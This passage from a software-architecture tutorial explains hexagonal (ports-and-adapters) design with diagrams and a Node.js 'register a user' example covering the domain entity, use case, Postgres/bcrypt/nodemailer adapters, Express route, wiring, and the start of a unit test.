  <path d="M141 130 H147" class="arw" stroke="#94a3b8" />
  <polygon points="155,130 147,125 147,135" fill="#94a3b8" />
  <rect class="port" x="155" y="110" width="105" height="40" rx="8" />
  <text class="pk" x="165" y="134">RegisterUser</text>
  <path d="M261 130 H267" class="arw" stroke="#3b82f6" />
  <polygon points="275,130 267,125 267,135" fill="#3b82f6" />

  <rect class="bx" x="5" y="318" width="135" height="44" rx="8" />
  <text class="k" x="30" y="344">CLI Command</text>
  <path d="M141 340 H147" class="arw" stroke="#94a3b8" />
  <polygon points="155,340 147,335 147,345" fill="#94a3b8" />
  <rect class="port" x="155" y="320" width="105" height="40" rx="8" />
  <text class="pk" x="165" y="344">RegisterUser</text>
  <path d="M261 340 H267" class="arw" stroke="#3b82f6" />
  <polygon points="275,340 267,335 267,345" fill="#3b82f6" />

  <path d="M426 130 H432" class="arw" stroke="#3b82f6" />
  <polygon points="440,130 432,125 432,135" fill="#3b82f6" />
  <rect class="port" x="440" y="110" width="115" height="40" rx="8" />
  <text class="pk" x="450" y="134">UserRepository</text>
  <path d="M556 130 H562" class="arw" stroke="#94a3b8" />
  <polygon points="570,130 562,125 562,135" fill="#94a3b8" />
  <rect class="bx" x="570" y="108" width="135" height="44" rx="8" />
  <text class="k" x="578" y="134">Postgres Adapter</text>

  <path d="M426 340 H432" class="arw" stroke="#3b82f6" />
  <polygon points="440,340 432,335 432,345" fill="#3b82f6" />
  <rect class="port" x="440" y="320" width="115" height="40" rx="8" />
  <text class="pk" x="471" y="344">Notifier</text>
  <path d="M556 340 H562" class="arw" stroke="#94a3b8" />
  <polygon points="570,340 562,335 562,345" fill="#94a3b8" />
  <rect class="bx" x="570" y="318" width="135" height="44" rx="8" />
  <text class="k" x="591" y="344">Email Adapter</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Left = driving adapters call the core. Right = driven adapters are called by the core. The core never imports Express, pg, or nodemailer.</figcaption>
</figure>

<table>
  <thead>
    <tr>
      <th>Term</th>
      <th>Meaning</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Core (domain + application)</strong></td>
      <td>Entities and use cases. Pure logic, no I/O libraries imported.</td>
      <td><code class="language-plaintext highlighter-rouge">User</code> entity, <code class="language-plaintext highlighter-rouge">RegisterUser</code> use case</td>
    </tr>
    <tr>
      <td><strong>Port</strong></td>
      <td>An interface the core defines — either “how I can be called” (driving) or “what I need” (driven).</td>
      <td><code class="language-plaintext highlighter-rouge">RegisterUser</code> interface, <code class="language-plaintext highlighter-rouge">UserRepository</code> interface</td>
    </tr>
    <tr>
      <td><strong>Driving adapter</strong></td>
      <td>Something that calls into the core through a port.</td>
      <td>Express controller, CLI command, cron job</td>
    </tr>
    <tr>
      <td><strong>Driven adapter</strong></td>
      <td>Something the core calls out to, implementing a port.</td>
      <td>PostgreSQL repository, SendGrid email sender</td>
    </tr>
  </tbody>
</table>

<p>If this reminds you of Clean Architecture’s concentric circles — it should. Hexagonal, Clean, and Onion Architecture are siblings: same Dependency Rule (“dependencies point inward, the core never imports a framework”), different diagrams. Hexagonal is usually the easiest to explain because “ports and adapters” maps directly to real code: one interface, one or more classes that implement it.</p>

<hr />

<h2 id="real-world-use-case-register-a-user">Real-world use case: “Register a user”</h2>

<p>A client submits an email and password. The system must: check the email isn’t taken, hash the password, save the user, and send a welcome email. We’ll build it in Node.js, from the inside out.</p>

<h3 id="1-the-domain--no-framework-in-sight">1. The domain — no framework in sight</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// domain/user.js</span>
<span class="kd">class</span> <span class="nx">User</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">passwordHash</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">id</span> <span class="o">=</span> <span class="nx">id</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">email</span> <span class="o">=</span> <span class="nx">email</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">passwordHash</span> <span class="o">=</span> <span class="nx">passwordHash</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="kd">static</span> <span class="nx">register</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">passwordHash</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">email</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1">@</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Invalid email address</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">passwordHash</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">User</span> <span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">User</code> has no idea it will end up in Postgres or arrive as JSON over HTTP. It only knows what a user <em>is</em> and what makes registering one valid.</p>

<h3 id="2-ports--interfaces-the-use-case-defines">2. Ports — interfaces the use case defines</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/ports.js</span>

<span class="c1">// Driven port: what the use case needs from storage.</span>
<span class="c1">// (Node has no interfaces, so the "port" is a documented shape —</span>
<span class="c1">//  any object with these async methods satisfies it.)</span>
<span class="c1">//   UserRepository: { findByEmail(email), save(user) }</span>
<span class="c1">//   Notifier:       { welcome(user) }</span>
<span class="c1">//   Hasher:         { hash(plainPassword) }</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{};</span> <span class="c1">// ports are documented shapes, not enforced classes</span>
</code></pre></div></div>

<p>These are phrased in domain terms — <code class="language-plaintext highlighter-rouge">findByEmail</code>, <code class="language-plaintext highlighter-rouge">save</code>, <code class="language-plaintext highlighter-rouge">welcome</code> — never <code class="language-plaintext highlighter-rouge">SELECT * FROM users</code> or <code class="language-plaintext highlighter-rouge">transporter.sendMail()</code>.</p>

<h3 id="3-the-use-case--the-application-core">3. The use case — the application core</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/registerUser.js</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">randomUUID</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">crypto</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">User</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../domain/user</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">class</span> <span class="nx">EmailAlreadyTaken</span> <span class="kd">extends</span> <span class="nb">Error</span> <span class="p">{}</span>

<span class="kd">class</span> <span class="nx">RegisterUser</span> <span class="p">{</span>
  <span class="c1">// Dependencies are injected as ports: repo, hasher, notifier.</span>
  <span class="kd">constructor</span><span class="p">({</span> <span class="nx">userRepository</span><span class="p">,</span> <span class="nx">hasher</span><span class="p">,</span> <span class="nx">notifier</span> <span class="p">})</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">userRepository</span> <span class="o">=</span> <span class="nx">userRepository</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">hasher</span> <span class="o">=</span> <span class="nx">hasher</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">notifier</span> <span class="o">=</span> <span class="nx">notifier</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">handle</span><span class="p">({</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">password</span> <span class="p">})</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">existing</span> <span class="o">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">userRepository</span><span class="p">.</span><span class="nx">findByEmail</span><span class="p">(</span><span class="nx">email</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">existing</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nx">EmailAlreadyTaken</span><span class="p">(</span><span class="nx">email</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kd">const</span> <span class="nx">passwordHash</span> <span class="o">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">hasher</span><span class="p">.</span><span class="nx">hash</span><span class="p">(</span><span class="nx">password</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">User</span><span class="p">.</span><span class="nx">register</span><span class="p">(</span><span class="nx">randomUUID</span><span class="p">(),</span> <span class="nx">email</span><span class="p">,</span> <span class="nx">passwordHash</span><span class="p">);</span>

    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">userRepository</span><span class="p">.</span><span class="nx">save</span><span class="p">(</span><span class="nx">user</span><span class="p">);</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">notifier</span><span class="p">.</span><span class="nx">welcome</span><span class="p">(</span><span class="nx">user</span><span class="p">);</span>

    <span class="k">return</span> <span class="nx">user</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">RegisterUser</span><span class="p">,</span> <span class="nx">EmailAlreadyTaken</span> <span class="p">};</span>
</code></pre></div></div>

<p>Read it top to bottom: it’s the registration process in plain terms. No <code class="language-plaintext highlighter-rouge">req</code>, no <code class="language-plaintext highlighter-rouge">res</code>, no <code class="language-plaintext highlighter-rouge">pg.Pool</code>, no <code class="language-plaintext highlighter-rouge">nodemailer</code>. Swap Postgres for MongoDB, or SendGrid for a queue-based notifier — this class does not change.</p>

<figure>
<svg viewBox="0 0 680 240" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow: Express route builds input and calls RegisterUser. RegisterUser talks to three ports: UserRepository, Hasher, Notifier. Concrete adapters implement each port using Postgres, bcrypt, and Nodemailer.">
  <style>
    .k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    .ap{fill:#eff6ff;stroke:#bfdbfe;stroke-width:1.5;}
    .uc{fill:#dbeafe;stroke:#60a5fa;stroke-width:1.5;}
  </style>
  <rect class="bx" x="1" y="90" width="120" height="46" rx="8" />
  <text class="k" x="18" y="110">Express</text>
  <text class="n" x="18" y="127">route</text>

  <rect class="uc" x="165" y="84" width="140" height="58" rx="8" />
  <text class="k" x="180" y="108">RegisterUser</text>
  <text class="n" x="180" y="126">use case</text>

  <path d="M121 113 H162" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="165,113 156,108 156,118" fill="#94a3b8" />

  <rect class="ap" x="350" y="10" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="362" y="34">UserRepository</text>
  <rect class="ap" x="350" y="66" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="392" y="90">Hasher</text>
  <rect class="ap" x="350" y="122" width="150" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="386" y="146">Notifier</text>

  <path d="M305 100 L348 29 M305 108 L348 85 M305 116 L348 141" fill="none" stroke="#94a3b8" stroke-width="1.2" />

  <rect class="bx" x="530" y="10" width="140" height="38" rx="8" />
  <text class="k" x="540" y="34">PgUserRepo</text>
  <rect class="bx" x="530" y="66" width="140" height="38" rx="8" />
  <text class="k" x="548" y="90">BcryptHasher</text>
  <rect class="bx" x="530" y="122" width="140" height="38" rx="8" />
  <text class="k" x="540" y="146">MailNotifier</text>

  <path d="M530 29 H504 M530 85 H504 M530 141 H504" fill="none" stroke="#15803d" stroke-width="1.3" />
  <polygon points="502,29 511,24 511,34" fill="#15803d" />
  <polygon points="502,85 511,80 511,90" fill="#15803d" />
  <polygon points="502,141 511,136 511,146" fill="#15803d" />
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The use case only depends on the dashed ports. Green arrows are adapters implementing them — pointing inward.</figcaption>
</figure>

<h3 id="4-driven-adapters--implement-the-ports">4. Driven adapters — implement the ports</h3>

<p><strong>Repository</strong> (Postgres, using the <a href="https://node-postgres.com/"><code class="language-plaintext highlighter-rouge">pg</code></a> package):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/driven/pgUserRepository.js</span>
<span class="kd">class</span> <span class="nx">PgUserRepository</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">pool</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">pool</span> <span class="o">=</span> <span class="nx">pool</span><span class="p">;</span> <span class="c1">// node-postgres Pool</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">findByEmail</span><span class="p">(</span><span class="nx">email</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="p">{</span> <span class="nx">rows</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">pool</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span>
      <span class="dl">'</span><span class="s1">SELECT id, email, password_hash FROM users WHERE email = $1</span><span class="dl">'</span><span class="p">,</span>
      <span class="p">[</span><span class="nx">email</span><span class="p">],</span>
    <span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">rows</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">row</span> <span class="o">=</span> <span class="nx">rows</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="k">return</span> <span class="p">{</span> <span class="na">id</span><span class="p">:</span> <span class="nx">row</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="na">email</span><span class="p">:</span> <span class="nx">row</span><span class="p">.</span><span class="nx">email</span><span class="p">,</span> <span class="na">passwordHash</span><span class="p">:</span> <span class="nx">row</span><span class="p">.</span><span class="nx">password_hash</span> <span class="p">};</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">save</span><span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">pool</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span>
      <span class="s2">`INSERT INTO users (id, email, password_hash) VALUES ($1, $2, $3)
       ON CONFLICT (id) DO UPDATE SET email = $2, password_hash = $3`</span><span class="p">,</span>
      <span class="p">[</span><span class="nx">user</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="nx">user</span><span class="p">.</span><span class="nx">email</span><span class="p">,</span> <span class="nx">user</span><span class="p">.</span><span class="nx">passwordHash</span><span class="p">],</span>
    <span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">PgUserRepository</span> <span class="p">};</span>
</code></pre></div></div>

<p><strong>Hasher</strong> (bcrypt):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/driven/bcryptHasher.js</span>
<span class="kd">const</span> <span class="nx">bcrypt</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">bcrypt</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">class</span> <span class="nx">BcryptHasher</span> <span class="p">{</span>
  <span class="k">async</span> <span class="nx">hash</span><span class="p">(</span><span class="nx">plainPassword</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">bcrypt</span><span class="p">.</span><span class="nx">hash</span><span class="p">(</span><span class="nx">plainPassword</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">BcryptHasher</span> <span class="p">};</span>
</code></pre></div></div>

<p><strong>Notifier</strong> (nodemailer):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/driven/mailNotifier.js</span>
<span class="kd">class</span> <span class="nx">MailNotifier</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">transporter</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">transporter</span> <span class="o">=</span> <span class="nx">transporter</span><span class="p">;</span> <span class="c1">// nodemailer transport</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">welcome</span><span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">transporter</span><span class="p">.</span><span class="nx">sendMail</span><span class="p">({</span>
      <span class="na">to</span><span class="p">:</span> <span class="nx">user</span><span class="p">.</span><span class="nx">email</span><span class="p">,</span>
      <span class="na">from</span><span class="p">:</span> <span class="dl">'</span><span class="s1">hello@example.com</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">subject</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Welcome!</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">text</span><span class="p">:</span> <span class="s2">`Hi </span><span class="p">${</span><span class="nx">user</span><span class="p">.</span><span class="nx">email</span><span class="p">}</span><span class="s2">, your account is ready.`</span><span class="p">,</span>
    <span class="p">});</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">MailNotifier</span> <span class="p">};</span>
</code></pre></div></div>

<p>Each adapter is small, boring, and disposable — exactly what you want for the code that talks to the outside world.</p>

<h3 id="5-driving-adapter--an-express-route">5. Driving adapter — an Express route</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/driving/httpRoutes.js</span>
<span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">EmailAlreadyTaken</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../../application/registerUser</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">function</span> <span class="nx">buildRouter</span><span class="p">(</span><span class="nx">registerUser</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">router</span> <span class="o">=</span> <span class="nx">express</span><span class="p">.</span><span class="nx">Router</span><span class="p">();</span>

  <span class="nx">router</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/users</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">registerUser</span><span class="p">.</span><span class="nx">handle</span><span class="p">({</span>
        <span class="na">email</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">email</span><span class="p">,</span>
        <span class="na">password</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">password</span><span class="p">,</span>
      <span class="p">});</span>
      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">201</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">id</span><span class="p">:</span> <span class="nx">user</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="na">email</span><span class="p">:</span> <span class="nx">user</span><span class="p">.</span><span class="nx">email</span> <span class="p">});</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">err</span> <span class="k">instanceof</span> <span class="nx">EmailAlreadyTaken</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">409</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Email already taken</span><span class="dl">'</span> <span class="p">});</span>
      <span class="p">}</span>
      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="nx">err</span><span class="p">.</span><span class="nx">message</span> <span class="p">});</span>
    <span class="p">}</span>
  <span class="p">});</span>

  <span class="k">return</span> <span class="nx">router</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">buildRouter</span> <span class="p">};</span>
</code></pre></div></div>

<p>The route turns HTTP into a plain object, calls the use case, and turns the result back into HTTP. That is <em>all</em> it does — same job as the Express route, a CLI command, or a test would each do differently while calling the exact same <code class="language-plaintext highlighter-rouge">RegisterUser.handle()</code>.</p>

<h3 id="6-wiring--the-composition-root">6. Wiring — the composition root</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// index.js</span>
<span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">Pool</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">pg</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">nodemailer</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">nodemailer</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">RegisterUser</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./application/registerUser</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">PgUserRepository</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./adapters/driven/pgUserRepository</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">BcryptHasher</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./adapters/driven/bcryptHasher</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">MailNotifier</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./adapters/driven/mailNotifier</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">buildRouter</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./adapters/driving/httpRoutes</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">pool</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Pool</span><span class="p">({</span> <span class="na">connectionString</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">DATABASE_URL</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">transporter</span> <span class="o">=</span> <span class="nx">nodemailer</span><span class="p">.</span><span class="nx">createTransport</span><span class="p">({</span> <span class="cm">/* smtp config */</span> <span class="p">});</span>

<span class="kd">const</span> <span class="nx">registerUser</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">RegisterUser</span><span class="p">({</span>
  <span class="na">userRepository</span><span class="p">:</span> <span class="k">new</span> <span class="nx">PgUserRepository</span><span class="p">(</span><span class="nx">pool</span><span class="p">),</span>
  <span class="na">hasher</span><span class="p">:</span> <span class="k">new</span> <span class="nx">BcryptHasher</span><span class="p">(),</span>
  <span class="na">notifier</span><span class="p">:</span> <span class="k">new</span> <span class="nx">MailNotifier</span><span class="p">(</span><span class="nx">transporter</span><span class="p">),</span>
<span class="p">});</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">buildRouter</span><span class="p">(</span><span class="nx">registerUser</span><span class="p">));</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Listening on :3000</span><span class="dl">'</span><span class="p">));</span>
</code></pre></div></div>

<p>This is the only file that knows about Express, <code class="language-plaintext highlighter-rouge">pg</code>, and <code class="language-plaintext highlighter-rouge">nodemailer</code> <em>and</em> about the domain at the same time. Everywhere else, one side or the other is invisible.</p>

<hr />

<h2 id="why-this-pays-off-testing-without-a-database">Why this pays off: testing without a database</h2>

<p>Because <code class="language-plaintext highlighter-rouge">RegisterUser</code> only depends on port shapes, a test can hand it plain in-memory fakes — no Express, no Postgres, no network:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// test/registerUser.test.js</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">RegisterUser</span><span class="p">,</span> <span class="nx">EmailAlreadyTaken</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../application/registerUser</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">function</span> <span class="nx">fakeRepo</span><span class="p">(</span><span class="nx">existingUsers</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">store</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">existingUsers</span><span class="p">];</span>
  <span class="k">return</span> <span class="p">{</span>
    <span class="k">async</span> <span class="nx">findByEmail</span><span class="p">(</span><span class="nx">email</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">store</span><span class="p">.</span><span class="nx">find</span><span class="p">((</span><span class="nx">u</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">u</span><span class="p">.</span><span class="nx">email</span> <span class="o">===</span> <span class="nx">email</span><span class="p">)</span> <span class="o">||</span> <span class="kc">null</span><span class="p">;</span>
    <span class="p">},</span>
    <span class="k">async</span> <span class="nx">save</span><span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">store</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">user</span><span class="p">);</span>
    <span class="p">},</span>
  <span class="p">};</span>
<span class="p">}</span>

<span class="nx">test</span><span class="p">(</span><span class="dl">'</span><span class="s1">rejects a duplicate email</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">registerUser</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">RegisterUser</span><span class="p">({</span>
    <span class="na">userRepository</span><span class="p">:</span> <span class="nx">fakeRepo</span><span class="p">([{</span> <span class="na">email</span><span class="p">:</span> <span class="dl">'</span><span class="s1">a@b.com</span><span class="dl">'</span> <span class="p">}]),</span>
    <span class="na">hasher</span><span class="p">:</span> <span class="p">{</span> <span class="na">hash</span><span class="p">:</span> <span class="k">async</span> <span class="p">(</span><span class="nx">p</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="s2">`hashed:</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">`</span> <span class="p">},</span>
    <span class="na">notifier</span><span class="p">:</span> <span class="p">{</span> <span class="na">welcome</span><span class="p">:</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{}</span> <span class="p">},</span>
  <span class="p">});</span>

  <span class="k">await</span> <span class="nx">expect</span><span class="p">(</span>
    <span class="nx">registerUser</span><span class="p">.</span><span class="nx">handle</span><span class="p">({</span> <span class="na">email</span><span class="p">:</span> <span class="dl">'</span><span class="s1">a@b.com</span><span class="dl">'</span><span class="p">,</span> <span class="na">password</span><span class="p">:</span> <span class="dl">'</span><span class="s1">secret</span><span class="dl">'</span> <span class="p">}),</span>
